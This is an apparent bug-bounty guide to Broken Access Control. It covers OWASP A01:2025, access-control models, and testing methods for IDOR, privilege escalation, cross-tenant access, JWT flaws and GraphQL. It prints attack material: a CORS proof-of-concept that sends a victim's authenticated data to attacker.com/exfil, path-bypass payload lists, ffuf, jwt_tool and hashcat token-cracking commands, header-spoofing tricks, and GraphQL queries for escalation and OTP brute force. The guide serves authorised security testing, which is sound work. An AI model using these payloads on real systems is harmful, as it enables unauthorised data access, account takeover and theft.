01Foundations#
Before you can hunt Broken Access Control flaws effectively, you have to understand what access control actually is — and why it breaks so often in modern apps. This part is the bedrock. Skip it and you'll find low-hanging IDORs forever; understand it and you'll find logic flaws that pay five figures.
What is Broken Access Control?
Access Control (also called authorization) is the enforcement layer that decides who can perform what action on which resource. It sits after authentication. Authentication answers "who are you?" — access control answers "are you allowed to do this?"
A Broken Access Control vulnerability exists whenever that enforcement is missing, incomplete, inconsistent, or bypassable. In practice it manifests as:
- A normal user reading or modifying another user's data
- A user invoking admin functionality without being an admin
- An anonymous request reaching an endpoint that should require login
- A tenant in a multi-tenant app reading data belonging to a different tenant
- An action that is restricted via the UI but never actually checked on the server
The single most important sentence in this entire guide: access control must be enforced on the server, for every request, for every resource and field, against the authenticated principal — not against client-supplied trust signals. Every BAC bug, without exception, is a violation of that sentence.
"Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification, or destruction of all data, or performing a business function outside the user's limits."
OWASP Top 10 — A01 from 2021 to 2025
Broken Access Control has been ranked #1 in the OWASP Top 10 since 2021, and A01:2025 keeps it there. It isn't close, and the 2025 refresh made the picture larger, not smaller. Compare the two data calls side by side:
| OWASP A01 data call | Top 10 · 2021 | Top 10 · 2025 |
|---|---|---|
| CWEs mapped into the category | 34 | 40 |
| Max test coverage (share of dataset tested for BAC) | 94.55% | 100% |
| Average incidence rate (per application) | 3.81% | 3.74% |
| Total occurrences in the data set | 318,487 | 1,839,701 |
| Mapped CVEs | 19,013 | 32,654 |
Read those two rates carefully — they are the two most mis-quoted numbers in AppSec. Coverage (94–100%) means almost every application in OWASP's data call was tested for at least one access-control weakness; incidence (~3.8%) is the average rate at which those tests actually fired. The honest one-liner: BAC is simultaneously the most-tested-for weakness family and one of the most frequently found — and with 40 CWEs now rolling up into it (from 34), it is by a wide margin the broadest umbrella in the entire Top 10.
For a bug bounty hunter, this is the single highest-EV category to specialize in. Every app has authorization somewhere; most get part of it wrong; and impact is almost always demonstrable in concrete business terms — data exposure, account takeover, financial loss — which means high CVSS and big payouts. The 2025 edition also sharpens where the frontier is: API authorization, multi-tenant isolation, OAuth/OIDC scope handling, and microservice trust boundaries.
OWASP Top 10:2025 shipped as Release Candidate 1 on 6 November 2025 (the 8th edition) and, by mid-2026, is treated across the industry as the current working standard. A few OWASP/MITRE artifacts still carry "RC" labels, so cite the category as A01:2025 and don't be surprised by the odd stale "release candidate" reference. The structural change that touches us most: SSRF (the former A10:2021) has been consolidated into A01, reframing server-side request forgery as an access-control failure — SSRF findings now live under the BAC umbrella.
The rest of the 2025 list, for orientation: A02 Security Misconfiguration (up from #5), A03 Software Supply Chain Failures (broadened from "Vulnerable & Outdated Components"), A04 Cryptographic Failures, A05 Injection, A06 Insecure Design, A07 Authentication Failures, A08 Software or Data Integrity Failures, A09 Security Logging & Alerting Failures, and a brand-new A10 Mishandling of Exceptional Conditions (failing open — itself a frequent BAC root cause). MITRE now tracks the category via CWE-1436 (A01:2025) and CWE-1450 (the full 2025 view).
On the API side the OWASP API Security Top 10 (2023) remains current, with BAC split across BOLA (API1), BOPLA (API3) and BFLA (API5) — three of the top five API risks are access control. Scoring moved on too: CVSS v4.0 (Nov 2023) changes how cross-tenant "scope" impact is modeled — see §7. And a genuinely new surface has opened in AI products, where authorization breaks at the data and tool layers — see §5.7.
Access Control Models You'll Encounter
Targets implement one or more of these models. Knowing which one a target uses tells you where to push.
| Model | How it works | Common BAC failures |
|---|---|---|
| DAC Discretionary | Resource owner sets permissions (file ACLs, share links). | Stale shares, predictable share tokens, owner-only checks that ignore "viewer" roles. |
| MAC Mandatory | System enforces fixed policy based on labels (rare in web apps; common in gov/mil). | Label downgrade, classification confusion, side-channel inference. |
| RBAC Role-Based | Users get roles; roles get permissions. Most common in SaaS. | Role assigned client-side, role parameter accepted from request, missing role checks on individual endpoints. |
| ABAC Attribute-Based | Policy engine evaluates attributes (user.dept == doc.dept). Common in enterprise. | Policy bypass via missing attributes, attribute injection, default-allow on unknown attributes. |
| ReBAC Relationship-Based | Auth based on a graph of relationships (Google Zanzibar, Auth0 FGA, SpiceDB, OpenFGA). Powers Twitter, GitHub, Figma. | Stale relations, cache poisoning, missing checks on nested resources, "anyone on the team" overly permissive. |
| PBAC Policy-Based | A dedicated engine evaluates declarative policy (Open Policy Agent / Rego, AWS Cedar, Casbin) at a central decision point. Increasingly the "correct" modern answer. | Policy/enforcement gap (PDP says deny, PEP never asks), default-allow rules, policy that checks role but not resource, un-evaluated new endpoints. |
The industry trend since ~2020 has been to pull authorization out of scattered if-statements and into a central policy engine (OPA, Cedar, SpiceDB/Zanzibar). That's good for defenders — but it creates a specific, high-value bug class for hunters: the enforcement gap. A perfect policy is worthless if a code path never asks the engine. New endpoints, batch operations, GraphQL resolvers, background workers, and admin tooling are exactly the places teams forget to wire in the policy check. When a target advertises "fine-grained authz" or "Zanzibar-style permissions," don't assume it's airtight — assume the model is sound and go hunting for the request path that skipped it.
The Hunter's Mindset
BAC hunting is fundamentally logical, not technical. You're not crafting an exploit payload — you're testing assumptions the developer made. Internalize these heuristics:
1 · Two accounts, always
Every BAC engagement begins by creating at least two test accounts. Most authorization bugs are invisible from a single user's perspective — they only appear when you replay account A's request as account B.
2 · Trust nothing the client sends
If the request contains user_id, role, tenant, is_admin, or anything else that describes identity, the server almost certainly trusts at least one of them more than it should.
3 · Front-end ≠ back-end
UI restrictions (hidden buttons, disabled fields, role gates) are convenience features. Test the underlying endpoint directly with a low-privileged session.
4 · One missing check is enough
Authorization needs to be perfect everywhere; the attacker needs one gap. Bugs cluster at the edges: new endpoints, batch operations, internal APIs, admin features, exports, search.
5 · Read the JavaScript
Modern SPAs leak the entire endpoint inventory in their bundles. Half of "hidden" admin functionality is one grep away.
6 · Think like the product manager
Every BAC bug maps to a business workflow. Ask: "What would a malicious user want to do here?" then test whether the app prevents it.
7 · Deprecated ≠ deleted
Old API versions, legacy hostnames, and "sunset" endpoints usually predate the current authorization model — and nobody re-audited them. /api/v1/ often lacks the checks /api/v2/ added. The oldest code is frequently the least guarded.
8 · Test the boundary, not the role
"Am I an admin?" is the wrong question the app often asks. The right one is "am I allowed on this specific object?" Being a moderator somewhere is not being a moderator here. Always test the resource-scoped boundary, not just role membership.
02The Complete Vulnerability Taxonomy#
BAC is a family, not a single bug. The sub-classes below are the categories you'll actually encounter on real targets. Each section gives you the shape of the bug, how to detect it, how to exploit it, and a real example. They are ordered roughly easiest to hardest — from mechanical "swap an ID and replay" bugs through to timing, crypto, and protocol-level attacks — and each carries an Easy Medium Hard tag for how much has to line up to exploit it. Difficulty is not impact: several "Easy" bugs (an admin IDOR, a mass-assignment role flip) are among the highest-paying findings in this guide.
2.1 IDOR — Insecure Direct Object Reference High Frequency Easy
IDOR is the canonical BAC bug: a request references an object by a direct identifier (database row ID, filename, GUID) and the server returns or modifies that object without verifying the caller owns it. CWE-639. In API terms this is BOLA — Broken Object Level Authorization, ranked API1:2023 and the single most common and most impactful API vulnerability class. If you learn to find one bug well, make it this one.
Shape of the bug
HTTP · GET account by IDGET /api/v2/accounts/10472/profile HTTP/1.1 Host: app.example.com Cookie: session=eyJ1aWQiOjU1NX0... # attacker is user 555, but server returns user 10472's data 200 OK { "user_id": 10472, "email": "victim@example.com", "ssn": "123-45-6789" }
Identifier types you'll meet
| Type | Example | Exploitability | Approach |
|---|---|---|---|
| Sequential integer | /orders/10472 | Trivial | Decrement, increment, fuzz a range. |
| UUID v4 | /orders/9c3b4d... | Conditional | Look for leaks: search APIs, public profiles, support tickets, exports, error pages, JSON dumps. |
| Encoded | /u/MTA0NzI (base64 of 10472) | Easy | Decode → modify → re-encode. |
| Hashed | /u/c4ca4238... (md5 of 1) | Easy | Try hashing small integers / common strings. |
| Composite | /inv/INV-2026-000123 | Medium | Reverse pattern, enumerate counter. |
| Timestamp-based | /msg/1716800000123 | Medium | Predict around your own timestamps. |
| Indirect via filter | ?customer=acme&email=* | High | Most overlooked. Modify filters, broaden scope. |
How to test, step by step
- Sign up two accounts (A and B). Note their IDs.
- Browse the entire app as A while Burp records traffic. Trigger every action that touches a resource: view profile, view order, edit, delete, export, share, comment, upload, message.
- For every request, identify the object identifier. Swap A's identifiers for B's.
- Replay each modified request in A's session. Does the server return B's data? Modify it? Delete it?
- Repeat with no session (anonymous), with a guest token, with low-priv role, with read-only role.
- Then automate it. Manual identifier-swapping doesn't scale past a handful of endpoints. Run Autorize / Auth Analyzer (§4) so every request you make as A is silently replayed with B's session and the responses diffed — that's how you turn "walk the app once" into full-coverage BOLA testing. Automated multi-session diffing is now the state-of-the-art detection primitive; the tool churns, the technique doesn't.
Devs often assume unguessable IDs make IDOR impossible. They don't — they just shift the bug from enumeration to leakage. Look for endpoints that return other users' GUIDs: search, autocomplete, share dialogs, group rosters, recent activity feeds, audit logs, exports, and especially any endpoint that takes a name or email and returns metadata.
Common IDOR patterns by endpoint
GET /api/users/{id}— profile readPATCH /api/users/{id}— profile write (juicy: email/2FA change → ATO)GET /api/orders/{id}/invoice.pdf— financial leakagePOST /api/teams/{tid}/members— add yourself to someone else's teamDELETE /api/files/{fid}— destructive (often the highest CVSS)GET /api/exports/{eid}/download— bulk data leak via someone else's exportPOST /api/messages?conversation={cid}— inject into private chats
2.2 Horizontal Privilege Escalation Easy
Same-role access across user boundaries. User A reads/modifies user B's data even though both are the same role (both "members", both "customers"). Mechanically this is IDOR's sibling — the distinction is who controls the resource boundary. Test exactly like §2.1, but pay attention to shared resources (teams, organizations, projects) where the bug appears when invitations or memberships aren't enforced.
2.3 Vertical Privilege Escalation Critical Impact Easy
A low-privileged user performs an action restricted to higher-privileged users (admin, support, billing, owner). The escalation can be subtle (a single hidden admin field accepted on a normal endpoint) or wholesale (entire admin APIs reachable without role checks). CWE-269.
Classic example: hidden admin API
Discovered via JS bundle inspection// In app.bundle.js const ADMIN_ROUTES = [ "/api/admin/users", "/api/admin/users/{id}/impersonate", "/api/admin/billing/invoices", "/api/admin/feature-flags" ]; // As a normal user, just hit them: POST /api/admin/users/555/impersonate HTTP/1.1 Cookie: session=lowprivuser 200 OK # server returns an impersonation token for user 555
How to find it
- Pull every JS bundle through
linkfinder,getJS,SecretFinder. Extract endpoint strings. - Sign up the lowest-privileged account you can (free tier, viewer, guest).
- Replay each discovered endpoint with your low-priv session. Note status codes:
200is a hit;403means properly gated;404can still be a hit (some apps return 404 on real data when authz fails — try a known-bad ID too). - For any
403, try the header tricks and method tampering in §2.6–2.7.
2.4 Forced Browsing Easy
Resources or pages exist on the server but aren't linked from any UI. The developer is relying on obscurity. Walk the namespace and they appear.
Wordlist-driven discovery# Use ffuf with a smart wordlist ffuf -u https://app.example.com/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \ -mc 200,301,302,401,403 \ -fc 404 \ -ac # API path discovery — combine with HTTP method fuzzing ffuf -u https://app.example.com/api/v1/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \ -X GET,POST,PUT,DELETE,PATCH
High-yield wordlists for BAC
SecLists/Discovery/Web-Content/api/SecLists/Discovery/Web-Content/raft-large-*SecLists/Discovery/Web-Content/CMS/admin-panels.txt- Custom wordlist built from the target's JS bundles (huge signal — endpoints in the codebase usually exist).
2.5 Missing Function-Level Access Control Easy
Adjacent to forced browsing, but the function is known — the bug is that the gate at the function entry point is missing. Classic shapes:
POST /api/users/me/upgrade-plan— anyone can upgrade themselves to a paid plan for free.POST /api/coupons/apply— accepts arbitrary coupons because there's no role check on coupon validity.POST /api/support/tickets/{id}/reply— staff-only endpoint that ships in the API but isn't role-gated.
2.6 HTTP Method & Verb Tampering Easy
Authorization is often applied to specific methods. Swap the method and the check disappears.
The seven moves
- GET → POST/PUT/DELETE. A GET handler returns 200 but mutation handlers are unprotected, or vice versa.
- POST → PUT. Frameworks often map both to the same controller but apply middleware to only one.
- Custom verbs. Try
PATCH,PROPFIND,REPORT,COPY,LOCK,MKCOL. Spring's actuator endpoints especially. - HEAD bypass. Some WAFs only inspect GET/POST. HEAD may reach the backend and still execute the controller body in some frameworks.
- Method override headers.
X-HTTP-Method-Override: DELETE,X-Method-Override: PUT,_method=DELETEin form bodies. Hugely common bypass. - OPTIONS preflight as oracle. The
Allowheader in OPTIONS sometimes reveals undocumented methods. - Case sensitivity. Some routers normalize, some don't.
gEt,Get, lowercase. Rare but real.
2.7 Header-Based Bypasses Medium
When the front-of-house (reverse proxy, WAF, load balancer) makes authorization decisions and forwards trust signals to the backend, you can sometimes spoof those signals from the outside.
Headers that change authorization outcomes
| Header | Why it matters |
|---|---|
X-Original-URL: /admin | IIS/some proxies route on this header instead of the request line. Hit /public with this header → reach /admin internally. |
X-Rewrite-URL: /admin | Same idea, different middleware. |
X-Forwarded-For: 127.0.0.1 | If admin is "only allowed from localhost", spoof it. Variants: X-Real-IP, True-Client-IP, X-Originating-IP, X-Remote-IP, X-Cluster-Client-IP, CF-Connecting-IP, Forwarded: for=127.0.0.1. |
X-Forwarded-Host / Host | Some apps trust the Host header to determine tenant. Try Host: admin.target.com on any endpoint. |
Referer: https://target.com/admin | Some apps gate functionality by checking Referer. Trivial to spoof. |
X-User-Id, X-Username, X-Auth-User, X-Forwarded-User | Internal services frequently trust these. Worth a try on every endpoint that talks to a backend service. |
X-Tenant-Id, X-Account-Id, X-Workspace-Id | Common in microservice setups for tenancy. Change them. |
| Duplicate headers | Send X-Forwarded-For: 8.8.8.8 and X-Forwarded-For: 127.0.0.1. Front and back ends may disagree on which wins → bypass. |
2.8 Mass Assignment / Autobinding High Payout Medium
Frameworks like Rails, Spring, Django REST, and Express+Mongoose often bind incoming request bodies directly to model attributes. If a model has a privileged attribute (is_admin, role, balance, verified) and the dev forgot to whitelist allowed fields, you can set it from a normal request. CWE-915.
PATCH /api/users/me · normal request{ "name": "alice", "email": "alice@example.com" }
PATCH /api/users/me · mass assignment attempt{ "name": "alice", "email": "alice@example.com", "role": "admin", # <-- escalates to admin "is_verified": true, "credit_balance": 9999999, "tenant_id": "competitor-corp" }
Field discovery
You can't blindly guess attributes; you need to find them. In order of yield:
- Read the GET response. The response to
GET /api/users/meusually leaks the entire shape. Replay every field back in a PATCH/PUT. - Admin endpoints leak schema. If you can get one admin response (via FLAC or otherwise), it shows you every field admins can set.
- JS bundle. Type definitions, GraphQL schemas, Redux state shapes — all leak attribute names.
- Public OpenAPI/Swagger.
/swagger.json,/openapi.json,/api-docs,/v3/api-docs— try these on every API target. - Error messages. Some frameworks reveal "unknown field X" — flip the polarity and discover real ones by sending random ones.
- GraphQL introspection — see §2.13.
2.9 CORS Misconfiguration Medium
CORS isn't itself authorization, but bad CORS turns same-origin auth into cross-origin auth — meaning a malicious page in another tab reads authenticated responses from the target.
The dangerous combinations
| Server response | Risk |
|---|---|
Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: true | Browsers reject this combo, but server may be lying — test with a real cross-origin fetch from a controlled domain. |
Reflected Origin + Credentials: true | Critical. Any origin you set is trusted. Origin: https://evil.com → server echoes it → cookies leak. |
null origin allowed | Sandboxed iframes, redirects, and data: URLs send Origin: null. If the server allows it, host a payload in an iframe with sandbox. |
| Subdomain wildcard with subdomain takeover | If *.target.com is trusted and you take over old-dev.target.com, game over. |
| Pre-flight cache poisoning | If preflight responses are cached across origins (rare but seen), one victim's preflight authorizes attacker requests. |
CORS PoC · cross-origin credentialed read<script> fetch("https://api.example.com/me", { credentials: "include" }) .then(r => r.text()) .then(t => fetch("https://attacker.com/exfil", { method: "POST", body: t })); </script>
2.10 Cross-Tenant Access — The SaaS Goldmine High Bounty Medium
In multi-tenant SaaS — Slack, Notion, Linear, Salesforce, and essentially every B2B product — the tenant boundary (org / workspace / account) is the most consequential line in the whole system. Cross-tenant access is simply IDOR raised to the organizational level: instead of reading one user's row, you read another company's entire dataset. That's why a single working cross-tenant read routinely pays five figures — sometimes six — and is almost always Critical: it implies breach of every customer at once.
How multi-tenancy is implemented (and where each model breaks)
Knowing how a target isolates tenants tells you where to push. Four models dominate:
| Model | How it works | Where it breaks |
|---|---|---|
| Shared DB + tenant column (by far the most common) | One database; every row carries a tenant_id, and every query must add WHERE tenant_id = ?. | A single query that forgets the filter leaks everyone. Raw SQL, joins, aggregates, reports, search, and admin tooling routinely bypass the ORM's default scope. |
| Row-Level Security (RLS) | The database enforces the tenant filter from a session variable the app sets per request. | Any path that forgets to SET the session var — background workers, read replicas, migrations, cron — runs unscoped. |
| Schema-per-tenant | One database, a separate schema per tenant. | Schema chosen from a client-controlled name; cross-schema search; a shared "public" schema that leaks. |
| Database-per-tenant | A separate database/cluster per tenant. | Connection routing keyed on client input; a shared cache, queue, or search index that ignores the DB boundary. |
Where the tenant identifier hides
- Subdomain:
https://acme.app.com→ tenantacme - URL path:
/orgs/acme/projects - Query string:
?org_id=42 - Header:
X-Org-ID: 42(alsoX-Tenant-Id,X-Account-Id,X-Workspace-Id) - JWT claim:
{"org": "acme"} - Cookie:
tenant=acme - Body field:
{ "org_id": 42, ... }or GraphQL variable - Implicit — inferred from a resource ID and never sent explicitly (the most dangerous kind)
- Out-of-band — storage keys (
s3://bucket/acme/…), queue/event payloads, gRPC metadata
The core test — two orgs, one swap
Provision two organizations you control (call them A = 42 and B = 77), each with its own user. Log in as A and try to reach B's data by substituting B's identifier — the whole class reduces to this move:
HTTP · the two-org swap# Logged in as an Org A user; target Org B. GET /api/orgs/42/invoices HTTP/1.1 # baseline: your own org Cookie: session=<org-A user> GET /api/orgs/77/invoices HTTP/1.1 # swap in Org B's id... Cookie: session=<org-A user> # ...keep A's session 200 OK # + Org B's invoices -> cross-tenant read
Attack patterns & payloads
1 · Conflicting tenant signals. When several places carry the tenant, make them disagree and see which layer the server trusts. The identity token should always win; frequently the request does.
HTTP · make the signals disagreePOST /api/reports HTTP/1.1 Authorization: Bearer <JWT with "org":"A"> # identity says A X-Org-Id: B # header says B Content-Type: application/json { "org_id": "B" } # body says B # If the response is scoped to B, the server trusts the request over the token.
2 · Implicit tenant from a resource ID. The highest-yield variant: the endpoint takes only a resource id and infers the tenant from it — so ownership is never actually checked.
HTTP · implicit tenant (never verified)GET /api/projects/PRJ-00193/members HTTP/1.1 # PRJ-00193 is another org's Cookie: session=<org-A user> # The project's org is looked up FROM the project, so your org is never compared. # Harvest foreign ids from: audit logs, webhooks, link/OG previews, errors, exports.
3 · Spoofing the internal tenant header. A gateway authenticates you, then forwards a tenant header to internal services that trust it blindly. If you can set it from outside, you re-scope yourself.
HTTP · inject the internal tenant headerGET /api/dashboard HTTP/1.1 Cookie: session=<org-A user> X-Tenant-Id: 77 # variants: X-Org-Id, X-Account-Id, X-Workspace-Id, X-Customer-Id
4 · Async jobs & exports that lose tenant context. Background workers routinely authorize the request but then fetch by a global id without re-checking the tenant. Trigger one in your own org, learn the id shape, then walk it.
HTTP · export / job-id enumeration# 1) Trigger in YOUR org, note the id format: POST /api/exports HTTP/1.1 # -> { "job_id": "exp_8f21a0", "status": "queued" } # 2) The worker drops tenant context — walk the id space: GET /api/exports/exp_8f21a1/download HTTP/1.1 # another tenant's export Cookie: session=<org-A user>
5 · Host / subdomain routing confusion. When the tenant is resolved from the Host header, override it — the app layer may key on the header while your session belongs to a different tenant.
HTTP · override the tenant HostGET /api/settings HTTP/1.1 Host: victim-org.app.com # you're really on attacker-org.app.com Cookie: session=<attacker-org user> # Also try: X-Forwarded-Host: victim-org.app.com when a proxy rewrites Host.
More cross-tenant surfaces to test
- Shared resource pools. Templates, public snippets, the integrations marketplace, and uploaded-file stores often share one pool across tenants and forget to filter by visibility/owner.
- Invitations & membership. Invite yourself into another org, accept a stale invite after leaving, or flip an invite's target org id. Membership endpoints are a classic cross-tenant foothold.
- Webhooks & callbacks. Per-tenant webhooks signed with a global secret let you forge/replay another tenant's events; SSRF-y callback URLs can pivot into internal per-tenant services.
- Search & global indexes. Elasticsearch / vector / analytics indexes that aren't filtered by tenant bleed across orgs — query for terms only another tenant would have.
- Nested / sub-resource traversal.
org → project → document → comment: the parent check passes but a child resolver skips the tenant filter (the ReBAC failure in §6). - Cache keyed without tenant. A response cached without the tenant in the key gets served to the next org (see §2.16).
- Legacy / deprecated API surfaces. Old API versions and pre-GA endpoints often predate the current isolation model. This is exactly how the 2025 Microsoft Entra ID break worked (§6): a legacy Graph API trusted an unsigned internal token whose tenant field it never validated — cross-tenant impersonation of any tenant globally.
Cross-tenant testing workflow
- Provision two orgs you control (A and B), each with a user — ideally one of every role per org.
- Catalog every place the tenant appears (the list above): subdomain, path, query, header, cookie, JWT, body, storage keys.
- Swap B's identifiers into A's requests and watch for
200+ B's data. Automate with a second-org session profile (§4). - Conflict the signals (JWT=A, header/body=B) to find which layer is trusted.
- Harvest foreign resource ids for the implicit-tenant endpoints — audit logs, webhooks, previews, errors, exports.
- Exercise the async surface — trigger exports/reports/jobs and enumerate their ids.
- Hit the shared pools — templates, integrations, files, search, invitations.
- Prove impact with your OWN second org as the victim — read one distinctive field to demonstrate the boundary crossed. Never touch a real customer.
Run Autorize / Auth Analyzer with a second session profile scoped to Org B so every Org-A request is auto-replayed cross-tenant and diffed. Add a dedicated "cross-tenant" column to your authorization matrix (§3) — one broken cell in that column is usually the biggest finding on the engagement.
A single working cross-tenant read means every customer's data is exposed, so triagers score it against the whole customer base — routinely Critical, routinely five-to-six figures. The highest-yield places to look are anywhere the tenant identifier is implicit (inferred from a resource ID rather than checked) or legacy (an old code path predating the current isolation model). See §6 for CVE-2025-55241, the canonical modern example.
2.11 Path Confusion & URL Parsing Medium
Different parts of the stack parse paths differently. When they disagree, authz at one layer can be bypassed at another.
Bypass payloads
URL gymnastics/admin # baseline 403 /admin/ # trailing slash sometimes bypasses /admin/. # dot-segment //admin # double slash /./admin /admin%20 # trailing space (URL encoded) /admin%09 # tab /admin%00 # null byte /admin..;/ # Tomcat path parameter /admin..%2f # encoded dot-segment /admin..%252f # double-encoded /admin/%2e%2e/admin /public/..%2fadmin /admin#.css # fragment + extension trick /admin?.json /admin.json # extension based bypass — common with WAFs allowlisting static /admin.html /.;/admin # jetty/tomcat /;/admin /admin/%2e/ # normalization mismatch
Client-Side Path Traversal (CSPT) — the 2024–2026 twist
Path confusion is no longer only a server-side game. In CSPT, the front-end takes an attacker-influenced value (an ID, a slug, a redirect target) and builds an API path from it in the browser — so injecting ../ sequences reroutes the app's own authenticated fetch to a different, more privileged endpoint. Because that request carries the victim's real session, CSPT turns a benign-looking reflected parameter into a same-origin, fully-authenticated request forgery. It chains beautifully: CSPT to reach a state-changing endpoint, or CSPT + web cache deception (§2.16) for full account takeover — a combination documented in real 2025 disclosures. Grep client bundles for string-concatenated request URLs (fetch(`/api/${id}`)) and feed %2e%2e%2f into every value that lands in one.
2.12 JWT and Token Flaws Critical Hard
JWTs are the most common session/auth token in modern APIs and a fertile source of BAC bugs because they encode claims the server uses for authorization. Every claim is suspect.
The classic JWT attack catalog
| Attack | How | Fixed? |
|---|---|---|
alg: none | Set header {"alg":"none"}, drop the signature. Server "verifies" successfully. | Mostly, but still found in legacy/embedded. |
| Weak HS256 secret | Crack the secret offline with hashcat -m 16500 or jwt_tool. | Common in startups, IoT, internal tools. |
| Algorithm confusion (RS256 → HS256) | Take the server's RSA public key and use it as the HMAC secret. Sign your forged token with HS256. | Library-dependent — still alive in many stacks. |
kid SQL/path injection | The kid header is used to look up the verification key. If it's concatenated into a SQL query or filesystem path, you can point it at a known value (e.g. ../../../../dev/null → empty key, sign with empty secret). | Niche but devastating when present. |
jku / x5u abuse | These headers tell the verifier where to fetch the key. Point at your own server, host a matching JWKS. | If jku isn't allowlisted: full forgery. |
| Embedded JWK | The jwk header contains a key the server trusts. Embed your own; sign with its private half. | Should never be trusted — sometimes is. |
| Claim tampering | Modify role, scope, user_id, tenant in payload. Many apps don't verify signature in dev/test/internal endpoints. | Cross-environment leakage is real. |
| Expired/replay | Old token still valid after logout/revoke/role change. Test logout invalidation. | Stateless JWTs frequently fail this. |
JWT testing workflow
jwt_tool · key tests# Decode and inspect jwt_tool eyJhbGciOi... # Try all known attacks automatically jwt_tool eyJ... -M at -t https://app.example.com/api/me -rc "session=eyJ..." # Algorithm confusion (RS256 -> HS256) with their public key jwt_tool eyJ... -X k -pk pubkey.pem # Crack HMAC secret hashcat -a 0 -m 16500 token.txt rockyou.txt
Many JWTs are signed with RS256 but the server library accepts any algorithm the header advertises. If you can convince it to verify your forged token as HS256 using the public key as the secret, the entire authorization layer falls. Test this on every RS256 token you encounter.
Algorithm-confusion and signature-verification flaws keep landing fresh CVEs in widely-used libraries — never assume a modern stack is immune:
- CVE-2024-37568 —
Authlib(Python) < 1.3.1: unless the caller pins an algorithm injwt.decode(), HMAC verification is accepted with any asymmetric public key — textbook RS256→HS256 confusion (CWE-347 / CWE-284). - CVE-2024-54150 —
cjwt(C) < 2.3.0: the verifier doesn't distinguish HMAC from RS/EC/PS tokens; setalg:HS256and sign with the public key. For RSA the key is recoverable from a handful of signatures; for EC, from a single one.
The OAuth working group has formalized the next wave in draft-ietf-oauth-rfc8725bis (the JWT Best Current Practices refresh): Cross-JWT Confusion (a token minted for one context accepted in another), Encryption/Signature Confusion (JWE vs JWS conflation), and JWT Format Confusion (Compact vs JSON serialization parser mismatch). The academic JWTeemo study (NDSS 2026) grammar-fuzzed JWT libraries and reported 31 findings across 17 implementations, driving roughly 20 new CVEs — evidence the parsing layer is still systematically under-tested. Test aud and iss for cross-context acceptance, not just the signature.
2.13 GraphQL-Specific BAC Hard
GraphQL flips the threat model: one endpoint, many operations, and authorization that has to live in every resolver. Where REST has hundreds of endpoints that each might forget a check, GraphQL has hundreds of resolvers — and every field, every relationship edge, and every mutation is its own authorization decision. Teams routinely centralize authz at the HTTP layer (one /graphql route, one middleware) and then discover the middleware can't see which object or which field a query is really asking for. The result is that all three API-layer BAC classes reappear at once: BOLA (object level, API1), BOPLA (object property/field level, API3), and BFLA (function/mutation level, API5). Learn to read a schema and GraphQL becomes one of the highest-yield surfaces you can test.
Recon & schema recovery
First fingerprint the engine — Apollo, Hasura, graphql-ruby, Yoga, Ariadne, and others differ in how they batch, whether they leak field suggestions, and what they default to. graphw00f identifies the implementation, which tells you which quirks to reach for. Then recover the schema; if introspection is open, the entire read+write surface is handed to you:
GraphQL · enumerate the schema (introspection ON)# Every type and its fields — the whole read + write surface { __schema { queryType { name } mutationType { name } types { name kind fields { name args { name } } } } } # Just the mutations — this is your BFLA hit-list. Start here. { __schema { mutationType { fields { name args { name } } } } }
Introspection is disabled by default on most modern production servers, so when it's off, recover the schema another way:
- Field-suggestion abuse. GraphQL servers helpfully suggest similar field names on typos ("Did you mean
email?").Clairvoyanceweaponizes this to rebuild a usable schema with introspection fully disabled. - Client JS bundles. Apollo / urql / Relay clients ship the exact query and mutation strings —
grepthe bundles forgql`,query,mutation. - Alternate endpoints & consoles.
/graphql/console,/v1/graphql,/api/graphql,/__graphql,/graphiql, plus staging mirrors that often leave introspection on. - Visualize it. Feed introspection JSON to
GraphQL Voyager/InQLto see the relationship graph — the edges are exactly where nested-traversal BOLA hides.
The node() interface — GraphQL's universal IDOR
Relay-style schemas expose a single node(id:) field that resolves any object by its global ID. Those IDs are almost always just base64("Type:database_id") — trivially decodable and forgeable. If that one resolver skips the ownership check (a very common mistake, because it's generic code), you get a BOLA that reaches every type in the schema from one field.
bash + GraphQL · node() global-ID IDOR (Relay)# Relay global IDs are just base64("Type:dbid") — decode, tweak, re-encode $ echo -n 'VXNlcjoxMDA=' | base64 -d # -> User:100 $ echo -n 'User:101' | base64 # -> VXNlcjoxMDE= # One resolver, every type. If it forgets ownership, it's a universal BOLA. { node(id: "VXNlcjoxMDE=") { ... on User { id email phone lastLoginIp } } }
Object- and field-level gaps (BOLA / BOPLA)
Even without node(), most schemas expose by-ID lookups (user(id:), order(id:)). Two things to test on each: can you read another user's object (BOLA), and can you read sensitive fields the UI never requests (BOPLA)? Field-level is the subtler bug — authz is frequently applied at the type level ("can you see a User?") but not per field ("can you see this User's ssn?"), so simply asking for the property returns it.
GraphQL · field-level authz gap (BOPLA)# authz was applied at the type level, not per field — ask for the sensitive ones { user(id: 1) { id name email # PII — should require ownership isAdmin # authorization flag leaked internalNotes # staff-only paymentMethods { last4 brand } # billing } }
GraphQL · nested / relationship traversal# Parent object is yours; walk the edges into objects that are not { order(id: "my-own-order-id") { id total customer { # related resolver often skips its own check email address { line1 city zip } orders { id total } # the victim's OTHER orders, via the edge } } }
Mutation authorization gaps (BFLA)
The write surface is where the money is. Because the front-end simply never renders a mutation for an unprivileged user, teams forget the resolver itself is unguarded. Pull the full mutation list from introspection (or the JS bundle) and fire each one as a low-privileged — or anonymous — user.
GraphQL · mutation authorization gap (BFLA)# The UI never renders this for a normal user — but the resolver still runs mutation { updateUserRole(userId: "2", role: ADMIN) { id role } } # Same drill for: setEntitlement, impersonate, transferOwnership, # deleteWorkspace, applyCoupon, updateBillingPlan, inviteMember ...
Aliasing & batching — one request, many privileged calls
GraphQL lets a single request contain many operations. That's a rate-limit and authorization-cache nightmare: limits and checks are frequently applied per HTTP request, not per operation. Aliasing runs the same field many times under different names; batching submits an array of whole operations. Both defeat per-request throttling — and both chain straight into the race conditions in §2.17.
GraphQL · aliasing — N privileged calls in ONE request# Brute force that beats per-REQUEST rate limits (OTP, reset codes, coupons) mutation { a: verifyOtp(code: "0000") { token } b: verifyOtp(code: "0001") { token } c: verifyOtp(code: "0002") { token } # ... alias up to the depth/complexity ceiling — thousands per request } # Aliasing also multiplies BOLA — enumerate users in a single call: { u1: user(id: 1){ email } u2: user(id: 2){ email } u3: user(id: 3){ email } }
